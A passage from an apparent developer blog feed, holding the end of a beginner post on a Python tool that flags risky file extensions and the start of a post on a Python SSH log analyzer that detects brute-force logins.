&lt;p&gt;Can I build a small tool that warns people &lt;em&gt;before&lt;/em&gt; they open something dangerous?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I thought it would take a day.&lt;/p&gt;

&lt;p&gt;It turned into one of my favorite cybersecurity Python projects.&lt;/p&gt;


&lt;h2&gt;
  
  
  Where It Started (7 Lines)
&lt;/h2&gt;

&lt;p&gt;My first version was painfully simple:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;dangerous&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.exe&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.bat&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.cmd&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.scr&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.js&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.vbs&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.msi&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Enter file name: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;endswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ext&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;dangerous&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Suspicious file! Do NOT open.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Looks safe (based on extension)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It technically worked.&lt;/p&gt;

&lt;p&gt;But it was basically a digital version of a security guard who checks only the &lt;em&gt;color of your shirt&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Problems:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No real file scanning&lt;/li&gt;
&lt;li&gt;No context&lt;/li&gt;
&lt;li&gt;No different risk levels&lt;/li&gt;
&lt;li&gt;No useful advice&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I wanted something closer to a &lt;strong&gt;real security tool&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;So I kept building.&lt;/p&gt;




&lt;h2&gt;
  
  
  Upgrade #1 — Threat Levels
&lt;/h2&gt;

&lt;p&gt;Not every suspicious file is equally dangerous.&lt;/p&gt;

&lt;p&gt;Opening a &lt;code&gt;.pdf&lt;/code&gt; is not the same as executing a &lt;code&gt;.exe&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So I designed a threat classification system:&lt;/p&gt;

&lt;h3&gt;
  
  
  🔴 CRITICAL
&lt;/h3&gt;

&lt;p&gt;Direct executables&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;.exe .bat .cmd .dll .scr .msi
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These can run code immediately.&lt;/p&gt;

&lt;h3&gt;
  
  
  🟠 HIGH
&lt;/h3&gt;

&lt;p&gt;Scripting payloads&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;.js .vbs .ps1 .reg .hta
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Often used in phishing emails and Windows attacks.&lt;/p&gt;

&lt;h3&gt;
  
  
  🟡 MEDIUM
&lt;/h3&gt;

&lt;p&gt;Conditional risk&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;.py .sh .jar .docm .iso
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Danger depends on how it is used.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔵 LOW
&lt;/h3&gt;

&lt;p&gt;Usually safe but exploitable&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;.pdf .zip .doc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Safe &lt;em&gt;most of the time&lt;/em&gt;… but attackers love hiding here.&lt;/p&gt;

&lt;p&gt;Now instead of a boring “safe/unsafe”, the tool explains &lt;strong&gt;why&lt;/strong&gt; a file is risky.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Sneakiest Trick: Double Extensions
&lt;/h2&gt;

&lt;p&gt;Here’s the real villain.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;photo.jpg.exe
document.pdf.exe
resume.docx.scr
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Windows hides known extensions by default.&lt;/p&gt;

&lt;p&gt;So users only see:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;photo.jpg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But the OS runs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;photo.jpg.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That’s not hacking.&lt;/p&gt;

&lt;p&gt;That’s social engineering.&lt;/p&gt;

&lt;p&gt;My checker now automatically detects this and raises a critical warning.&lt;/p&gt;




&lt;h2&gt;
  
  
  Upgrade #2 — Scanning Real Files
&lt;/h2&gt;

&lt;p&gt;The tool now accepts an actual file path and extracts metadata:&lt;/p&gt;

&lt;p&gt;It shows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;File size&lt;/li&gt;
&lt;li&gt;Last modified time&lt;/li&gt;
&lt;li&gt;MIME type&lt;/li&gt;
&lt;li&gt;SHA-256 hash&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The hash matters a lot.&lt;/p&gt;

&lt;p&gt;If a website claims:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Download our official installer”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You can compare the hash.&lt;/p&gt;

&lt;p&gt;If it doesn’t match, the file is not the same file.&lt;/p&gt;

&lt;p&gt;No guessing. Just math.&lt;/p&gt;




&lt;h2&gt;
  
  
  Three Ways to Use the Tool
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1) Interactive Mode
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python file_checker.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Scan multiple files one after another like a mini terminal application.&lt;/p&gt;




&lt;h3&gt;
  
  
  2) Single File Scan
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python file_checker.py suspicious.exe -v
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instant analysis + metadata.&lt;/p&gt;




&lt;h3&gt;
  
  
  3) Directory Scan
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python file_checker.py -d ~/Downloads
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This one is powerful.&lt;/p&gt;

&lt;p&gt;Your downloads folder is basically a wildlife reserve for questionable files 🐍&lt;/p&gt;

&lt;p&gt;The script scans everything and summarizes results.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Actually Learned
&lt;/h2&gt;

&lt;p&gt;This project taught me more cybersecurity than many theory classes.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. File Extensions Are Lies
&lt;/h3&gt;

&lt;p&gt;Extensions are just labels.&lt;br&gt;
They are not security.&lt;/p&gt;

&lt;p&gt;Real security tools inspect file headers, not names.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. Python Standard Library Is Underrated
&lt;/h3&gt;

&lt;p&gt;I used:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;hashlib&lt;/code&gt; for hashing&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;argparse&lt;/code&gt; for CLI&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;pathlib&lt;/code&gt; for file handling&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;mimetypes&lt;/code&gt; for detection&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No external libraries.&lt;/p&gt;

&lt;p&gt;Python already had everything.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Good CLI UX Matters
&lt;/h3&gt;

&lt;p&gt;Security tools fail if people don’t use them.&lt;/p&gt;

&lt;p&gt;So I added:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Color output&lt;/li&gt;
&lt;li&gt;Clear warnings&lt;/li&gt;
&lt;li&gt;Contextual advice&lt;/li&gt;
&lt;li&gt;History in interactive mode&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A security tool should feel helpful, not scary.&lt;/p&gt;




&lt;h2&gt;
  
  
  What This Tool Cannot Do
&lt;/h2&gt;

&lt;p&gt;This is important.&lt;/p&gt;

&lt;p&gt;This is &lt;strong&gt;not antivirus&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Limitations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No malware signature detection&lt;/li&gt;
&lt;li&gt;No behavioral analysis&lt;/li&gt;
&lt;li&gt;No packed malware detection&lt;/li&gt;
&lt;li&gt;No online database lookup&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It’s a &lt;strong&gt;first-line warning system&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Think of it as a digital friend saying:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Wait… are you sure you want to open that?”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Sometimes that 2-second pause prevents infection.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Want To Add Next
&lt;/h2&gt;

&lt;p&gt;Future ideas:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;VirusTotal hash lookup&lt;/li&gt;
&lt;li&gt;File header inspection (magic bytes)&lt;/li&gt;
&lt;li&gt;Real-time folder monitoring&lt;/li&gt;
&lt;li&gt;JSON output for automation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Especially VirusTotal. That would make it genuinely useful.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Cybersecurity is not always about advanced exploits.&lt;/p&gt;

&lt;p&gt;Many attacks succeed because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;users trust filenames&lt;/li&gt;
&lt;li&gt;systems hide extensions&lt;/li&gt;
&lt;li&gt;people click fast&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This tool won’t make you invincible.&lt;/p&gt;

&lt;p&gt;But it &lt;em&gt;will&lt;/em&gt; stop the most common mistake:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Opening the wrong file.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And honestly… that’s how a lot of compromises begin.&lt;/p&gt;




&lt;p&gt;If you’re learning Python and cybersecurity, build tools like this.&lt;br&gt;
You’ll learn file handling, hashing, CLI design, and threat modeling in one project.&lt;/p&gt;

&lt;p&gt;Also:&lt;/p&gt;

&lt;p&gt;Your downloads folder deserves suspicion.&lt;/p&gt;

&lt;p&gt;Stay curious. Stay careful.&lt;/p&gt;

</description>
      <category>python</category>
      <category>beginners</category>
      <category>linux</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Day 11 — I Built My Own SIEM-Style Log Analyzer (LogGuardian) in Pure Python</title>
      <dc:creator>Hafiz Shamnad</dc:creator>
      <pubDate>Tue, 24 Feb 2026 14:20:34 +0000</pubDate>
      <link>https://forem.com/hafiz_shamnad/day-11-i-built-my-own-siem-style-log-analyzer-logguardian-in-pure-python-1279</link>
      <guid>https://forem.com/hafiz_shamnad/day-11-i-built-my-own-siem-style-log-analyzer-logguardian-in-pure-python-1279</guid>
      <description>&lt;p&gt;For the past few days I’ve been doing something unusual.&lt;/p&gt;

&lt;p&gt;Instead of only learning cybersecurity theory, I’ve been &lt;strong&gt;building the tools that security engineers actually use&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;I built scanners.&lt;br&gt;
I exploited vulnerabilities.&lt;br&gt;
I detected secrets in source code.&lt;/p&gt;

&lt;p&gt;Today I switched sides.&lt;/p&gt;

&lt;p&gt;Today I became the defender.&lt;/p&gt;


&lt;h2&gt;
  
  
  The Problem Nobody Notices (Until It’s Too Late)
&lt;/h2&gt;

&lt;p&gt;Every Linux server quietly keeps a diary.&lt;/p&gt;

&lt;p&gt;Inside:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/log/auth.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And it looks harmless… until you actually read it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Mar 14 03:22:14 server sshd[9841]: Failed password for root from 45.33.32.156 port 42190 ssh2
Mar 14 03:22:15 server sshd[9842]: Failed password for root from 45.33.32.156 port 42191 ssh2
Mar 14 03:22:16 server sshd[9843]: Failed password for admin from 45.33.32.156 port 42192 ssh2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is not a user making mistakes.&lt;/p&gt;

&lt;p&gt;This is an &lt;strong&gt;automated brute-force attack&lt;/strong&gt; happening right now.&lt;/p&gt;

&lt;p&gt;Here’s the scary part:&lt;/p&gt;

&lt;p&gt;Most beginners never open this file.&lt;br&gt;
But attackers already know it exists.&lt;/p&gt;

&lt;p&gt;So I asked a simple question:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;What if I could automatically detect attacks just by reading logs?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That became &lt;strong&gt;LogGuardian&lt;/strong&gt;.&lt;/p&gt;


&lt;h2&gt;
  
  
  Where It Started (20 Lines)
&lt;/h2&gt;

&lt;p&gt;My first version was extremely small.&lt;br&gt;
It only counted failed logins per IP.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;collections&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;defaultdict&lt;/span&gt;

&lt;span class="n"&gt;log_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;server.log&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;failed_attempts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;defaultdict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;log_file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Failed password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;from (\d+\.\d+\.\d+\.\d+)&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;failed_attempts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;failed_attempts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[ALERT] Possible brute-force attack from &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; failed attempts)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It worked.&lt;/p&gt;

&lt;p&gt;But it was basically a calculator, not a security tool.&lt;/p&gt;

&lt;p&gt;Real security teams need answers like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Who is attacking?&lt;/li&gt;
&lt;li&gt;What usernames are targeted?&lt;/li&gt;
&lt;li&gt;Did the attacker actually succeed?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So I kept going.&lt;/p&gt;




&lt;h2&gt;
  
  
  Turning Logs Into Intelligence
&lt;/h2&gt;

&lt;p&gt;SSH logs actually contain multiple types of events:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Failed password&lt;/td&gt;
&lt;td&gt;Wrong password attempt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Invalid user&lt;/td&gt;
&lt;td&gt;Username doesn't exist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Accepted password&lt;/td&gt;
&lt;td&gt;Successful login&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Accepted publickey&lt;/td&gt;
&lt;td&gt;SSH key login&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;So I upgraded the parser to track:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IP addresses&lt;/li&gt;
&lt;li&gt;usernames targeted&lt;/li&gt;
&lt;li&gt;successful logins&lt;/li&gt;
&lt;li&gt;timestamps&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Key trick:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;replace&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Attackers sometimes send malformed bytes. Without this, one bad line crashes your program. Real logs are messy. Security tools must survive messy data.&lt;/p&gt;




&lt;h2&gt;
  
  
  The First Real Security Feature — Threat Levels
&lt;/h2&gt;

&lt;p&gt;Three failed attempts ≠ 3000 failed attempts.&lt;/p&gt;

&lt;p&gt;So LogGuardian classifies attackers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;🟢 LOW&lt;/li&gt;
&lt;li&gt;🟡 MEDIUM&lt;/li&gt;
&lt;li&gt;🟠 HIGH&lt;/li&gt;
&lt;li&gt;🔴 CRITICAL
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;threat_level&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;thresholds&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;low&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;med&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;high&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;thresholds&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;high&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CRITICAL&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;med&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HIGH&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;low&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;MEDIUM&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;LOW&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the log file isn’t just text.&lt;/p&gt;

&lt;p&gt;It’s a &lt;strong&gt;threat map&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Scariest Scenario (And Why This Matters)
&lt;/h2&gt;

&lt;p&gt;I added one small check that changed everything:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;What if an IP fails many times… and then logs in successfully?&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;pwned&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;sorted_ips&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;successful&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This detects:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Credential stuffing success.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In other words:&lt;/p&gt;

&lt;p&gt;The attacker guessed the password.&lt;/p&gt;

&lt;p&gt;LogGuardian marks it as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;⚠ DANGER ZONE — BREACH SUSPECTED
45.33.32.156  80 failures + 1 success
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



